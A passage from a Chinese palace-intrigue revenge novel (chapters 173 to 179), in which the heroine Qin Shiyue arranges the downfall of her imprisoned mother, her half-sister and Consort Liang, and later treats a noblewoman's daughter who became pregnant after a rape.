“不必了,桌上的就够了。”宋墨辰笑着说道:“在边关,许多百姓都因为战事食不果腹,若重新再做一桌,我们二人必然吃不完。” “我这就让小荷取碗筷来。”秦时月起身走到房门口,吩咐小荷。 很快小荷就取了过来,将碗筷放在桌子上,随后又退出了房间。 用膳时,秦时月和宋墨辰沉默不语,等结束后小荷进来收拾时秦时月才让她沏茶。 小荷离开后,秦时月转身往室内走,“你等一下,我去取一件东西。” 宋墨辰狐疑地看着她,“什么东西?” “等会儿你看到后便知道了。”秦时月神秘兮兮地笑了笑。 他更加好奇了。 她离开后,他靠在椅背上闭目养神。 这一路上急急忙忙地往回赶,他几乎没怎么休息,此时看上去特别疲倦。 能撑着来长乐侯府,已经是他的极限了。 等秦时月拿着一张纸过来时,就看到宋墨辰已经响起了均匀的呼吸声。 想来,他这一路上应该特别辛苦。 她的眼里闪过一丝心疼,刻意放轻脚步去拿了薄被盖在了他身上。 担心吵醒他,秦时月随意拿了一本书,坐在椅子上看着。 微风吹过,屋檐下的风铃发出悦耳的铃声,香炉里燃烧的沉香散发出让人安心的香味,蔓延整个屋子。 不知是不是因为秦时月在,宋墨辰睡得比平日里沉了很多。 醒来时,已经是一个时辰后。 他睁开双眼,从椅背上坐起,耳边瞬间传来秦时月温柔的声音,“怎么样?歇息得可好?” 宋墨辰抬起眼帘看向面前的人儿,笑了笑,“过去了这么多天,这还是本王歇息的最好的一次。” 之后他去洗了把脸,整个人清醒了不少,身上的疲倦也消失了大半。 秦时月这才将刚才拿出来的纸递给了他,“这是我这些日子搜集到的。” 宋墨辰狐疑地展开纸,上面写的全部都是人名,朝中重臣的名字。 “这些是?”他疑惑地问道。 “是太子一党的人员名单。”秦时月神色凝重地说道:“这些并不是全部人,还有一部分,我暂时还没查出来。” 第174章 卓静已死…… 当初在宋墨辰离开京城后,秦时月就按照皇后的吩咐,一直在搜集太子一党的人名。 很可惜,这段时间努力了这么久,也只找到了一部分。 “如今咱们在西郊布置的势力还在不断扩张,已经有了不小的规模,身手都不错。” 宋墨辰满脸心疼地看着她,声音沙哑,“时月,这些日子苦了你了。” 太子一党的人本就狡猾难寻,稍不注意,就会打草惊蛇。 秦时月毕竟是女子,哪怕会得多,在寻人的过程中也很辛苦。 “不辛苦,不过你也知道,我行事一贯谨慎,没有十足的把握,是不会让自己陷入危险之境的。”秦时月笑着说道。 “我当然知道。尽管如此,我还是要叮嘱你,无论以后发生什么事,你都要以自身的安危为重,其他的,有我。” 秦时月的心中划过暖流,盯着宋墨辰看了很久,“我会的。” 对上那双深邃的眼眸,她的心中泛起了涟漪。 宋墨辰的脸上露出了满意的笑容,“这个我先收下了,其余的,我来找。” 说着,他将纸折起来,塞在了怀里。 “对了,你母亲和秦可云她们如今怎么样了?你打算接下来怎么处理她们?” 提起她们,秦时月的脸色沉了下来,实际上这段时间她有一些犹豫。 卓静因她是灾星,对她做的事,她至今都记忆犹新,若非东方苑和宋墨辰,她恐怕都没有重活一世的机会。 之前卓静说她十月怀胎,好不容易生下她,她每每晚上睡下时都会想起那句话。 看到她纠结的模样,宋墨辰缓缓开口,“有些事只需要跟随着自己的心走便可,不用顾虑太多,不然会很痛苦。” “你说的,我知道。”秦时月垂下眼帘,长而浓密的睫毛正好遮住了眼底的神色。 “我相信你心中已经有了决断,只是还有一些犹豫。”宋墨辰端起茶杯。 “茶凉了,我给你换一杯吧。”秦时月重新拿了茶杯,为他倒茶。 宋墨辰抿了一口。 “我没想过要她的命。”她不紧不慢地开口。 “死是最好的解脱,生不如死对她们才是最好的惩罚,如今她们被关在同一间牢房,矛盾已经出现。” “看来一切都在按照你的计划进行。”宋墨辰面上在笑,心里却格外心疼。 两人非常默契地不再谈论这个话题。 之后秦时月坐在椅子上,随口问了一句边关的事,宋墨辰立刻知无不言。 一直到傍晚宋墨辰才离开。 从这日之后,秦时月利用她的首饰铺和官眷贵女来往。 时不时就和她们坐在一起品茶闲聊,吟诗做对,关系也在不知不觉中越来越近。 想要将太子一党所有的人全部都找到,是需要费很大工夫的,并非一朝一夕。 与她们越是接近,在闲聊中,就越能在无意听到一些消息。 如此也能为宋墨辰的计划助力。 皇后也开始在后宫布局,势必要将皇宫攥在手中。 她收买的人日益增多。 这段时间,秦时月也会偶尔抽时间去牢房看望卓静,每次去她都没空过手,不是送吃食就是送被褥、衣裳和药。 牢房中,卓静躺在褥子上,每日吃好喝好,身上一旦有伤,就会用药,虽没有之前在侯府的日子好过,但比起牢房中的其他犯人,好的可不是一星半点。 特别是和她关在一起的秦可云,她整日都睡在草席之上,不仅吃不好,也睡不好。 秦可云已经和卓静闹僵,绝不可能过去求她,所以心中的怨恨不断增多。 这一日傍晚,秦时月特意给卓静送来了糕点,“想来母亲已经很久没吃过了,就想着送来一些给你尝尝。” “时月,我的好女儿。”卓静现在看着秦时月,越看越喜欢。 正因为如此,她更加痛恨以前的自己。 秦时月像是看不到她眼底的懊悔,只一味的对她好,跟她谈心。 甚至在离开时,故意将腰间的钱袋子拿下来递给狱卒,“麻烦大哥以后对我母亲多关照一点,我母亲身子不好,我担心她在牢房中受不住。” 狱卒掂量了一下手中的钱袋子,满意地点点头,“县主客气了,您放心,小人一定好好照顾夫人,时间差不多了,这里阴暗潮湿,您该离开了。” 秦时月抹抹不存在的眼泪,佯装恋恋不舍地离开了。 刚才收买狱卒的时,她是故意当着卓静和秦可云的面做的。 牢房之中的吃食并不好,大多时候是馊的。 再加上秦时月让狱卒关照卓静,一字不提秦可云,所以二人无论从吃食上还是其他方面,都有了很大的区别。 这一晚,秦可云看着自己的碗里只有几片烂叶子,卓静碗中厚厚的一层油滋滋的肉片,她心中的恨意,再也压不住了。 或许是这段时间卓静在牢房里的日子过得太舒心,并没有察觉到秦可云看向自己的眼神不对劲。 卓静吃得差不多了,躺下后睡了过去。 夜深人静,秦可云猛地睁开双眼,环顾四周,确定周围没人,连带着对面的犯人也已经睡着,于是她蹑手蹑脚的起来,缓慢的走到卓静面前,居高临下的俯视着她。 她眼睛猩红,突然伸手掐住卓静的脖子,不断用力。 睡梦中,卓静感觉到强烈的窒息感,猛地睁开双眼,正好就看到秦可云狰狞又恐怖的脸。 她不断挣扎着想要起来。 奈何秦可云一心要她死,见她醒过来,用的力气更大。 卓静想要呼救,却发不出任何声音。 秦可云一边用力,一边嘟囔着,“我要杀了你,你去死!去死!” 卓静挣扎的力气越来越小,直到彻底停下,秦可云才松开手,瘫坐在地上。 这是她第一次亲手杀人,看着不动弹的卓静,她满脸惊惧的缩在角落里,一会儿哭一会儿笑,整个人疯疯癫癫的。 第二日,秦时月起了个大早。 今日她约了尚书府千金,今日要早点过去。 就在这时,敲门声忽然响起,她挑挑眉,微微掀唇,“进来。” 第175章 活死人 影夜越过门槛进来,恭敬的单膝跪下,“小姐,牢房里传来消息,卓静昨晚被秦可云……掐住了脖子,虽然人没死,但,他们用了所有办法,就是没办法唤醒她……” 秦时月神色一怔,脸上闪过一抹异样之色,“好,我知道了。” 随后她去了牢房,在看到卓静之前,她的心情一直都很复杂。 她甚至觉得,卓静这副假死的样子应该是装死的,为的是逃脱死刑。 牢房内,她走进去后一眼就看道了角落里缩起来的秦可云,她疯疯癫癫,浑身散发着令人作呕的恶臭,状态并不好。 秦时月扫了她一眼就收回了视线,然后蹲到卓静床边静心把脉。 脉象微弱,确实不太对劲。 她忽然想到了什么,眸光暗了下来。 说起来,卓静如今的状况特别像之前东方苑提到的大脑缺氧。 看着卓静如今的模样,她的心里有些不是滋味。 前世卓静对她做的种种,就算是凌迟也不为过。 可如今看到卓静变成这副模样,她并没有想象中那么痛快。 秦时月的脸色闪过一抹不易察觉的纠结,随后起身,深深看了卓静一眼,转身往外面走去。 狱卒立刻将牢房门重新锁了起来,一脸不安的看着秦时月道:“县主,昨晚不是小的当值,小的也是大早起才发现的……没想到秦可云这么狠毒……” 这里虽然是监牢,但到底还是天子脚下,没想到秦可云一个死囚,竟然敢做出这种大逆不道的事。 秦时月知道他们不是故意疏忽的,毕竟,就算是狱卒,也不可能每时每刻在这里盯着她们。 “我知道。”她拿出一锭银子递给了他,道:“事情已经发生了,还望大哥以后多照顾着我母亲些。” “一定一定!”县主没有怪罪,狱卒点头如捣蒜的答应,回应间,秦时月已经往外走去。 回府的路上,她的心情有些沉重,脑袋里更是乱哄哄的,过去的种种不断在脑海里浮现。 “小姐莫要如此伤心,您若是担心夫人,奴婢一会去请个太医,多给狱卒使些银子,他总不会阻止探视的。”小荷看她心情不悦,在一旁说道。 秦时月勾勾唇,抬眸看向窗帘外,“不必,她本就是必死的人,做那么多岂不是浪费?” 她想了很长时间,或许是因为卓静生了她,她们两个人之间的血缘让她开心不起来。 可让她救卓静?不可能。 她不亲手了解卓静,已经是她最大的仁慈了! 就在秦时月离开不久,秦可云抬起眼帘,眼珠子在眼眶中滴溜滴溜地转着。 确定狱卒已经离开后,她忽然站起来走到了卓静面前,脸上露出癫狂的笑容,“你个贱女人,不是喜欢在我面前炫耀吗?现在怎么不炫耀了?嗯?早知道你爱犯贱,我就应该早点弄死你!” 她一边用力踢,一边骂。 卓静动弹不得,身上的外伤越来越多。 离开不久的狱卒听到动静,立刻折返回来,正好看到秦可云正在打卓静,立刻厉声喝止。 一看到狱卒,秦可云立刻停下来,跑去角落里缩起来。 狱卒收了钱,不打算放过她,脸色一沉,直接开门将她拖出来带到了刑罚的牢房,用鞭子不断抽打她。 秦可云多年来被长乐侯夫妇捧在手心,哪吃过这样的苦? 不一会就疼得苦苦求饶,“我错了,我再也不敢了,放了我你,啊!” 狱卒又狠狠给了她两鞭子,然后才警告她,“从现在开始,你最好给我老实一点,否则,这里的刑具我都在你身上用上一遍!” 秦可云惨败着一张脸,艰难的点头,“是,我,我再也不会了。” 随后,她像是一块破布般被丢回了牢房。 等狱卒离开后,她偷拿了卓静旁边的伤药,强忍着皮开肉绽的疼痛,一点点涂抹在自己身后。 之后,秦时月去牢房的时间越来越少,秦可云却不肯收手,狱卒管教了她一阵子不见效,渐渐的也就不管了,算是让她们自生自灭。 …… 秦时月时不时就往皇宫跑,目的嘛,自然是找皇后传话,顺便询问良妃如今的下场。 多日后,宫中遍布皇后的眼线,秦时月再次入宫时,她才神色严肃地对秦时月说道:“时月,时机到了,是时候将他们一个个铲除了。” 秦时月点点头,心中了然。 从这日开始,秦时月每日不是入宫面见皇后,就是在帮忙解决太子党余孽。 如今宋砚辞已死,他们已经没有了靠山,铲除起来并没有想象中难。 良妃这段时间因太子在战场被杀一事整日以泪洗面。 皇上看着她憔悴又愁苦,心疼不已,不断劝说她,“人死不能复生,你养好身子,以后还有机会再诞下皇子。” 良妃虽然比皇后年轻几岁,但到底也过了最佳的生养年纪,皇上这番话,不过是看在往日的情分上随口说的。 良妃泪流满面,一副我见犹怜的模样。 “陛下,为什么?为什么死的不是别人,偏偏是我们的儿子?如今整个京中都在传是承恩暗害了他,可承恩的身子骨,身手,有目共睹,说是他害了砚辞,妾身真的不信……” 皇上垂下眼帘攥紧拳头,不知该说些什么。 宋墨辰带伤回京,即便此事是他一手谋划,目前,皇上也不能做什么,更不能大肆调查。 良妃更是打心底里认定宋砚辞的死是宋墨辰所为,于是抬起水眸,哽咽地,不甘心的问道:“陛下,砚辞的死是不是和宋墨辰有关?” 皇上脸色一沉,不悦道:“你莫要胡说,若非辰儿,京城早就没了这样的平静繁荣,更何况,他在番邦手中并未落到任何好处,你也看到了,他回来时,一身的伤。” “是,臣妾知道了!”良妃低下头,双腿上的手孟的攥紧。 她心中已经有了猜测,这次的事,一定就是宋墨辰所为,哪怕皇上迫于压力不敢承认,她也知道,事实就是如此! 她眼神阴鸷,暗暗在心里发誓,无论付出什么代价,她都要让宋墨辰以命相陪! 第176章 宴会刺杀 为了稳定军心,几日后,皇上为宋墨辰举办了庆功宴。 宴会上,其他嫔妃都穿着喜庆的衣裳,只有良妃一人穿着白裙,看上去很是素净,也很让人扫兴。 期间,热闹非凡,大臣们都在恭喜宋墨辰。 只有良妃死死地盯着他,倘若宋砚辞活着从边关回来,哪里还有宋墨辰什么事? 她本就苍白的脸色变得更差,但她却没当场发作,而是紧紧咬着下唇,努力控制着自己的情绪。 下唇哪怕是被咬破了,她也没有任何反应。 秦时月和皇后却将良妃的神情尽收眼底,最近这段时间发生的事,对良妃可谓是致命的打击。 不过,她们早就安排就绪,就等着良妃在情绪爆发时露出破绽,好让她们一击必中。 宴会开始没多久,良妃忽然站起来,不顾此时时机不对,直接跪在了皇上面前,然后道:“陛下,皇后陷害臣妾,一切都是皇后的计谋,还请陛下为臣妾做主!” 皇上早就察觉到了前朝的动荡,也正因为此,才想通过这场庆功宴稳定宋墨辰,他心中有气,现在却不能动宋墨辰和皇后。 没想到良妃竟然看不透局势,甚至在庆功宴上当场说了出来。 “此事定是你误会了皇后。”皇上眉头微皱,眼带嫌恶地说道。 良妃面色一白。 她不是没想过皇上会帮皇后说话,可她没想到,往日情分在他眼里,早就被磋磨干净了。 就在这时,一道身影突然冲了上去,她手中的匕首散发着骇人的冷光。 “来人,护驾!”江福德看到她是冲着皇上来的,脸色惊恐,脱口喊道。 皇上的脸上闪过一丝惊惧,几乎是下意识的往后缩去。 宋墨辰距离最近,想也不想的冲上去,一招将那人制服,押在了地上,冷声质问道:“你是哪个宫的宫女?为何要刺杀陛下?” 女子一身宫装,抬起眼帘看了眼宋墨辰,随后目光落在了皇上身上,眼里是藏不住的恨意。 这时有仁认出女子的身份,一脸后怕的说道:“陛下,臣见过此女,她并非宫女,乃是太子府上的侍妾,似乎是叫……柳相如。” 皇上的眸光一沉,“太子府上的人,放肆!你为何刺杀朕?” 柳相如不断挣扎着,一心只想冲上去将皇上碎尸万段。 她恶狠狠地瞪着皇上吼道:“因为你该死!你这样的人不配做一国之主!” 江福德怒道:“不过是服侍过太子殿下几日的侍妾,竟敢在陛下面前口出狂言,来人……” 宋墨辰居高临下地看着她,抬手打断了江福德。 “父皇,不如将此女交给儿臣,儿臣必问出缘由,给父皇一个交代。”宋墨辰缓缓开口。 皇上捏捏眉心,点了头。 太子已死,太子府早已遣散,这个女子……说不定受尽宋砚辞宠爱。 想到这些,皇上有些不忍处置她,交给宋墨辰,反而成了最合适的。 宋墨辰冷哼一声,伸手攥住柳相如的小手指,一用力,咔吧一声,随后便是女子哀嚎惨叫的声音。 柳相如脸色惨白,额头上布满冷汗,全身不断轻颤。 “还不如实招来?”宋墨辰再次问道,这次柳相如终于说了。 原来,宋砚辞死后,太子府被收回,府上的人都被赶出太子府,全成了无家可归的人。 她便将这一切都怪在了皇上身上。 若不是他命太子前去边关迎敌,她将来就是后宫中宠冠后宫的娘娘,而不是像现在这样,不人不鬼,没有盼头的活着。 一想到这,柳相如就忍不住喊道:“若不是你让殿下去边关,殿下根本不会死,殿下那样清风霁月的好男子,不该死,不该死的……该死的人是你!!” “大胆!”江福德怒指她,拔高了音量。 这时,秦时月转头看了她一眼,清冷的嗓音在大殿上回荡,“说,是谁带你入宫?” 柳相如低头,身子抖动得异常厉害,可无人看得出来,她的状态,其实并不对劲。 她环顾四周,目光最终落在了良妃身上,随后一口咬定,“是……良妃娘娘。” 良妃吓得花容失色,慌张不已地抬头看了眼皇上,疯狂摇头,“陛下,臣妾没有,臣妾对您的心,您应该再清楚不过,臣妾怎么可能做的出这等事?” 说完,她一脸阴鸷的看向柳相如,声音尖锐,“贱人!你敢攀蔑本宫,说!你到底是受谁指使!?” 可柳相如却泪眼婆娑的挣开宋墨辰的控制,跪行着来到良妃面前,不停地向良妃磕头道歉,“对不起娘娘,是奴婢无能,没能成事为殿下报仇,都怪奴婢,奴婢该死啊。” “你,你到底在胡说什么!?”良妃眼神惊骇,怎么也没想到事情会发展到现在这一步。 她原想着,今日人多,她当众揭穿皇后,即便皇上暂时不能拿皇后怎么样,也会碍于场内人多,命人调查一下,可现在……她怎么成了众矢之的!? 皇上脸色铁青,咬牙切齿道:“良妃,朕待你一向不薄,没想到你竟然要派人杀朕!” “来人,将她带下去!从今日起,褫夺封号,幽禁冷宫,永世不得出!” 良妃本想为自己辩解求饶,却因为受到的震撼太大,再加上连日来吃不下睡不好的,身子承受不住,两眼一翻,彻底晕了过去。 皇上冷哼一声,厌恶的摆了摆手,良妃就这么被太监带了下去。 秦时月拿起茶杯慢悠悠地喝着,眸子不经意扫过柳相如。 看来,这些日子给她下的致幻药,以及灌输的东西,还是有效果的。 她在心里冷笑一声,抬眸和宋墨辰四目相对,相视一笑。 不错,柳相如今日能混进宴会,全在秦时月的算计中,包括柳相如一身宫装。 多日前,她找到了在大街上流浪的柳相如,然后暗中将她安置下来,并给她用了些致幻的药。 在柳相如困在幻境中时,秦时月又给她灌输了一些东西,也就是良妃希望她刺杀皇上,为太子复仇的记忆。 第177章 卓静死透 至于柳相如,她也并不无辜。 在选中她之前,秦时月就听说过她跋扈又善妒的名号。 太子府中只有她一个侍妾,但是还有三个暖房的丫头。 听说她嫉妒一个暖房丫头貌美,不过是多得了太子几日恩宠,竟直接将人溺死在了荷花池…… 良妃被打入冷宫后,她的母族势力被牵连,三族之内,全被送到了苦寒之地,这是后话。 今日一遭,宋砚辞和良妃的事算是告下了一段落。 最近这些日子秦时月整日忙得脚不沾地,一回到府中,洗漱完,脑袋一沾枕头便沉沉睡了过去。 正准备出府时,秦时月碰到了宋墨辰的马车,“你怎么来了?” 宋墨辰掀开帘子看了眼秦时月,“上来说。” “好。”秦时月踩着马凳上了马车,坐在了对面。 “今日可忙?”宋墨辰看着眼前的女子,明显比当初他从边关回来时又消瘦了一些,着实让人心疼。 “还好,你今天过来找我可是有要事?”秦时月疑惑地看着他。 宋墨辰摇摇头,“此事能够顺利解决,全靠时月你,我想邀你去天香楼庆祝,不知你今夜可有空?” 秦时月思索了片刻,“有。” 随后两人约定好,等秦时月忙完了所有事,回府换了身衣裳,随后就去了天香楼。 宋墨辰已经在二楼等候多时。 到了房间外,秦时月看了眼小荷,“你在外面候着便是。” “是,小姐。” 进去后,秦时月关上房门,直接坐在了宋墨辰对面。 没过多久,小二就将吃食全部都送了进来,大部分都是秦时月平日里喜欢吃的。 她的眼底闪过一抹诧异,“你怎么不给自己点些?” “我口味随你,你吃什么,我吃什么就是。”宋墨辰笑盈盈地回道。 秦时月的耳根处泛起了红晕,“你又在说笑。” “我从不会拿此事开玩笑,时月应该再清楚不过。”宋墨辰的脸上露出好看的笑,“好了,先用膳吧!” 秦时月点点头,拿起桌上筷子。 就在他们随性聊着的时候,敲门声响起,宋墨辰看了一眼,知道来的人是影夜,“进来吧!” “见过王爷,小姐。”影夜行礼后,目光落在秦时月身上,“卓静在寅时断气,狱卒发现时,尸身已然僵硬。” “死了?”秦时月愣住,筷子里的菜啪嗒一声掉下,不可思议地低声呢喃一声。 随后,她突然仰头哈哈大笑,笑着笑着,泪水顺着眼角滑落。 宋墨辰见状,担忧不已,“时月?” “我无事。”秦时月垂下眼帘,声音有些哽咽,“她落得如此下场,都是她自己咎由自取,怪不得别人。” 只有她自己知道,她心中到底还是有些难受,这可能就是无法断掉的血缘吧! 她拿起手帕擦拭着眼帘的泪,缓和了一会儿,问道:“秦可云呢?” “已经疯了。”影夜回道。 经历过这么多事,秦可云再也承受不住疯了。 “太便宜她了,这样就疯了。”秦时月的眸光暗了暗,吩咐道:“去请太医,将她的疯症治好。” “是。”影夜点点头,准备离开。 秦时月忽然想到了什么,“等等!” 随后她走到外面,吩咐小荷去借用酒楼的文房四宝。 等东西送来后,秦时月模仿陆明昭的字迹,写了饱含深情和关照的信笺。 她有些好奇,等秦可云醒来后,看到这封信会是什么样的感觉。 肯定会有活下去的动力。 希望,会伴随着时间,一点点被淹没,秦可云定然会越来越痛苦。 光是想到秦可云痛苦的模样,秦时月的心情就好了许多。 宋墨辰在旁边看着,眼底闪过一抹心疼,“时月,你没必要这样,她既然已经疯了,不管她不就好了?” 他真担心她因为秦可云把自己逼的太狠。 秦时月放下手中的毛笔,看着纸上的内容,“你难道不觉得秦可云如今的模样,实在是太舒服了?” 至今为止,秦时月都无法忘记秦可云前世对她做的种种,一想到那些,她眼底的恨意就呼之欲出。 “既然都已经到了这一步,难道不应该让她生不如死,痛不欲生吗?”秦时月微微侧头看了眼宋墨辰。 “等她完全好了后,看到这封信,肯定会等人救她出去,在她处于希望之中时,再给她绝望,一瞬间跌入深渊的感觉,才是真正的痛苦,到时候被斩首示众。” “这才是她该有的结局……”说完,她看着桌上的纸,确定已经干了,随后递给了影夜。 秦时月叮嘱道:“等秦可云好了,将这封信给她,切记放在吃食中。” 影夜重重点头,随后离开。 “你会不会觉得我很残忍?”秦时月转头看向宋墨辰,问道。 宋墨辰摇摇头,他摸了摸秦时月的头顶,“我只是心疼你。” 秦时月怔愣一下,眼底被泪水覆盖。 她的母亲死了,如今的她,也算是大仇得报了。 明明该高兴的,可为什么,心底深处,一直在隐隐作痛? 看出她情绪不对劲,宋墨辰没多嘴,只是坐在她身边一直陪着她,直到天色暗下来,才将她送回去。 宋墨辰身上的伤在用了秦时月送的药后很快痊愈。 良妃和太子一事结束后,宋墨辰和秦时月会经常见面,有时是下棋闲聊,有时是一起吃个饭,两个人的感情也伴随着长时间的陪伴,越来越深。 朝堂上。 宋墨辰想着差不多了,于是在快要下朝时,站出来,行礼,“父皇,儿臣与明月县主两情相悦,如今儿臣回京多日,伤势也养好了,还请父皇早日为我们主婚。” 皇上低头看着他,随后缓缓开口,“朕知你与明月县主一事,可太子刚死,怎能在这时举办喜事?” “即日起,举国守孝三年,为太子守丧!” 这明显就是在故意为难宋墨辰。 宋墨辰气急,却也只能强忍怒意,低头回道:“父皇说的是,是儿臣考虑不周。” 下朝后,宋墨辰来到长乐侯府。 第178章 开药堂,遇大事 他将今日早朝之事告知秦时月,“父皇明显就是故意为之,从古至今,我还是头一次听说因太子之死,举国守孝三年的事!” “好了,你莫要生气了,喝口凉茶降降火。”秦时月倒了杯茶,递给了宋墨辰。 喝了后,宋墨辰将自身的怒火稍微收敛了一些,他并不想让秦时月看到他怒不可遏的模样。 “举办婚事,说来说去不过是形式而已,我们二人如今心意相通,不过是三年,又不是一辈子,你就别生气了,还是要以自身为重。”秦时月柔声安慰道。 世间女子哪有不在意婚事一说?更何况,宋墨辰也想让秦时月尽快嫁给他。 只有秦时月成为辰王妃,入住王府,他才能安心。 …… 一月后,秦时月开了一家药堂,整日都在药堂为人诊病施药。 由于京中并无女大夫,所以她的名声很快就在京城中传开了,前来看病的百姓也越来越多。 再加上秦时月的诊费不贵,药材也比其他的药铺便宜,百姓们对她可谓是赞不绝口。 一日,秦时月好不容易将所有的病人看完,寻思着时辰已经很晚了,就想着关铺子回府。 就在这时,一个衣着华贵的妇人和戴着面纱的女子从外面走了进来。 妇人秦时月认识,正是当朝文太傅之妻,文夫人。 她在明月芳华没少花钱。 想来她身侧的女子应该就是太傅唯一的嫡女,文小娩了。 “母亲,真的不用了,我已经没事了,我们回府吧!”文小娩缓缓开口。 “你刚才还一直说不舒服,怎么可能这就好了?我刚才听闻明月县主的医术精湛,百姓们都称她为神医,正好回府的路上遇到了,进来让明月县主为你诊脉看看。” 文夫人一边说话,一边拉着她往里面走。 “生病后得尽早看,不然等过些日子会更严重,我这也是为了你好,小娩,听话。” 文小娩半推半就地坐在椅子上。 秦时月笑着点头,随后给文小娩把脉,察觉到什么,眼底闪过一抹诧异,随后看了眼文小娩,又看了眼文夫人。 据她所知,文小娩是个还未出阁个贵女,她怎会怀孕? 思索片刻,她还是决定说出来。 毕竟是女子的私事,不好明说,于是她看向文夫人,“夫人可否与我去后院一趟?” 文夫人神色一怔,心情瞬间变得忐忑起来,难不成是什么重病? 她缓缓点头,离开时拍了拍文小娩的肩膀,以示安慰。 来到后院,她神色担忧地看着秦时月,“不知明月县主想说些什么?是小娩身上的病难治吗?” 秦时月神色难看地说道:“接下来我说的事,希望夫人您提前做好心理准备。” 文夫人越发紧张。 秦时月委婉地说道:“文小姐是不是已经有了心仪之人?倘若有的话,还是让他们尽快成亲的好。” “你这话是什么意思?什么叫作尽快成亲?”文夫人愣了一下,忽然想到了什么,脸色沉了下来,“你在胡说什么,小娩一个清清白白的姑娘,怎么可能做出那种事?” “别以为你是县主懂点医术,百姓们将你视为神医,你就可以胡说八道!” 看她情绪激动,秦时月能理解,毕竟这种事无论是谁都无法接受。 “倘若没有,就得尽快处理,夫人应该知道,这种事等月份大了就不好办了。” “你少在这儿污蔑人!”文夫人怒不可遏地盯着秦时月,“还神医,我看你连最起码的诊脉都不会,真不知道你这样的人还开什么药堂!” 她瞪了秦时月一眼,转身离开。 秦时月眉头一拧,面色沉了下来。 真是愚不可及! 出去后,看到她们还在,秦时月立刻冷声说道:“既然文夫人不相信我的诊断,那便去找别的大夫吧,恕不送客!” 逐客令一下,文夫人恨恨瞪了秦时月一眼,连诊金都没付就带着文小娩离开了。 “母亲,您还没给诊金……” “给什么给,不过是招摇撞骗,她根本就不会医术,我凭什么给她?我就算是给外面的叫花子,也不可能给她。” 她们两个人说话的声音从外面传来,全被秦时月听到了耳朵里,她眉头拧紧,心中更加不爽。 另一边,回府的路上,文夫人脑海里全是秦时月的话。 太傅府。 文夫人心中不安,于是去了文小娩的闺房,神色凝重地盯着她,问道:“小娩,你说实话,你是不是有了心仪之人,还与那人私相授受了?” 文小娩的脸色瞬间煞白。 母亲是怎么知道的? 文夫人看到她这个样子,心中更加慌乱,“你说啊!” 想起之前发生的事,文小娩忍不住委屈地哭了出来。 良久过后,她才将事情的真相说出来,“母亲,呜呜,我被人欺辱了……” 一个多月前,她受到闺中密友雪儿的邀约一同去游湖,她也不知道怎么的,竟然中了药,之后竟然被雪儿的兄长凌辱了。 等她醒来时,看到一地的狼藉这才知道发生了什么,她又气又怕,却只能一边穿衣裳,一边哭。 “你为何不早告诉我?”文夫人瞬间就觉得天塌了,脑袋更是嗡鸣作响。 “我想报官,但雪儿的兄长以名节和家族名声威胁我,我没办法,所以才没敢说……”文小娩低下头,紧紧地咬着下唇,泪水已经模糊了双眼。 “什么!?”文夫人实在是承受不住,两眼一翻,倒在桌上晕了过去。 文小娩的哭声戛然而止,惊呼出声,“母亲!” 在旁边看到这一幕的嬷嬷面色发白,转身离开了太傅府,去药堂寻找秦时月。 此时秦时月还没离开,嬷嬷一见到她,立刻神色焦急地说道:“县主,求您了,随老奴去太傅府救救小姐吧!” 秦时月立刻就想到了那个弱不禁风的贵女,顿时觉得一阵头疼。 提醒的时候不相信,现在却跑过来找她。 她心里烦闷,根本不想去太傅府蹚这趟浑水。 嬷嬷见秦时月没反应,扑通一声跪在了地上,“求您行行好!京城都在传您是神医,如今能救小姐的人,就只有您了!” 第179章 堕胎 “之前夫人不知小姐的事,所以才反应那么大,明月县主也是女子,应该知道名节对于女子而言何其重要。” “老奴在这儿给您磕头了,求您了,救救我家小姐吧!除了您,老奴真不知道该去找谁了。”说着,嬷嬷就准备磕头。 正所谓医者仁心,如今看来文小娩的月份不大,还好处理,再拖下去就麻烦了。 秦时月赶忙虚扶了一把,“你先起来。” “明月县主这是答应了?”嬷嬷抬头问道。 秦时月点点头。 先前的不愉快撇到一边,随后她让药堂其他的人将铺子关了,跟着嬷嬷前往太傅府。 “多谢明月县主不计前嫌。”路上时,嬷嬷忙不迭地道谢。 太傅府,嬷嬷给秦时月带路,来到房间后,此刻的文夫人已经被搀扶到了床榻之上。 文小娩在看到秦时月来了,赶忙行礼,“见过明月县主。” 秦时月摆了摆手,走过去给文夫人诊脉,沉声道:“夫人无恙,不过是急火攻心,这才是导致的昏厥,我等会儿给开一服药,你去抓药,按时服下便可。” 候在旁边的嬷嬷点头,“老奴记住了。” 之后秦时月又看了一眼文小娩,问道:“文小姐,留下还是堕了?” 仔细看去,依稀能看到文小娩眼角的泪痕,想来她怀孕一事没那么简单。 “堕了。”文小娩紧紧地抿着唇,垂下眼帘,说话的声音极小,细如蚊呐,但语气却很坚定。 秦时月先开了文夫人的药,之后又根据文小娩的脉象,开了堕胎药和养元气的药。 “多谢明月县主。”文小娩从钱袋子拿出银子,递给了秦时月。 秦时月收下后,叮嘱了文小娩几句,随后起身离开。 正好这时文夫人醒来了,看到秦时月后,目光落在了嬷嬷身上,很快就猜到了什么。 “县主稍等片刻。”文夫人赶忙说道。 秦时月的余光落在文小娩身上。 文小娩察觉到,缓慢抬头看了眼她一眼,随后低下头,不断扣着自己的手指。 她心中担忧文夫人的安危,却又不敢开口。 若不是她被欺辱,根本就不会有现在这些事。 她时常在想,如果那日她没去的话,之后的事是不是不会发生。 可惜世界上没有后悔药,她就算是想再多也没用。 如今只能等明日让嬷嬷出去买药了。 “照顾好小娩。”随后她起身从床榻上下来,带着秦时月来到了偏房,点燃烛台后,请秦时月坐下。 “文夫人有事直接说便是。”秦时月并不喜欢拐弯抹角的人。 只见文夫人面对着秦时月,扑通一声跪在地上,“之前在药堂之事,我说了许多混账话,这都是因为我一时无法相信小娩有孕之事,还望县主大人不记小人过,原谅我这一次。” 为了求得原谅,哪里需要下跪,很明显文夫人所求之事并非如此。 “文夫人应该另有所求?”秦时月微微眯眼,不动声色的俯视着她。 被看出来后,文夫人所幸将文小娩被欺辱的事全部都说了出来。 “我有两件事相求,一来是为小女被欺辱一事,希望县主保密,二来是想请县主帮帮小女……” 秦时月能理解保密一事,毕竟文小娩并非与人私通,而是被人欺辱。 想来文小娩被雪儿兄长欺辱这件事有预谋的,雪儿应该是知情者。 真是交友不慎,竟遇到了这样的人,毁了贞洁不说,还有了身子。 “文夫人想让我帮什么忙?”秦时月疑惑地问道。 “县主身份高贵,之前还救了皇后娘娘,亦是辰王殿下未来的皇子妃,只有您这样的身份,才能帮小女讨回公道。”文夫人低着头,缓缓说道。 秦时月本来就不想插手别人的事,但雪儿的兄长是个畜生,从文小娩的事中就可以看出,他应该不是头一次做出这种龌龊之事,而雪儿就是帮凶。 